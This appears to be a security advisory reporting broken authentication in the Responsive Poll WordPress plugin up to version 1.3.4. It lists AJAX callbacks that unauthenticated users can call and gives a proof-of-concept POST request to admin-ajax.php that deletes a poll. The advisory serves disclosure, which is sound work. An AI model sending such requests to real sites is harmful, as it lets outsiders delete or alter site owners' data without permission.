Broken Authentication in Responsive Poll Wordpress Plugin <=1.3.4
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| An attacker can call following functions as an unauthenticated user. | |
| TotalSoftPoll_Clone_Callback | |
| TotalSoftPoll_Del_Callback | |
| TotalSoftPoll_Edit_Callback | |
| TotalSoftPoll_Edit_Q_M_Callback | |
| TotalSoftPoll_Edit_Ans_Callback | |
| TotalSoftPoll_Theme_Clone_Callback | |
| TotalSoftPoll_Theme_Edit_Callback | |
| TotalSoftPoll_Theme_Edit1_Callback | |
| TotalSoftPoll_1_Vote_Callback | |
| TotalSoftPoll_1_Results_Callback | |
| TotalSoftPoll_Clone_Set_Callback | |
| TotalSoftPoll_Edit_Set_Callback | |
| TotalSoftPoll_Del_Set_Callback | |
| TS_PTable_New_MTable_DisMiss_Callback_Pol0l | |
| TS_Poll_Question_DisMiss_Callback | |
| Total_Soft_Poll_Prev_Callback | |
| Following POC demonstrates that an attacker can send following POST request to | |
| ``` | |
| POST /wp-admin/admin-ajax.php HTTP/1.1 | |
| Host: test.com | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Connection: close | |
| Upgrade-Insecure-Requests: 1 | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 38 | |
| action=TotalSoftPoll_Del&foobar=3 | |
| ``` | |
| Just like this POST request, all of the above mentioned components can be called as an unauthenticated user. |
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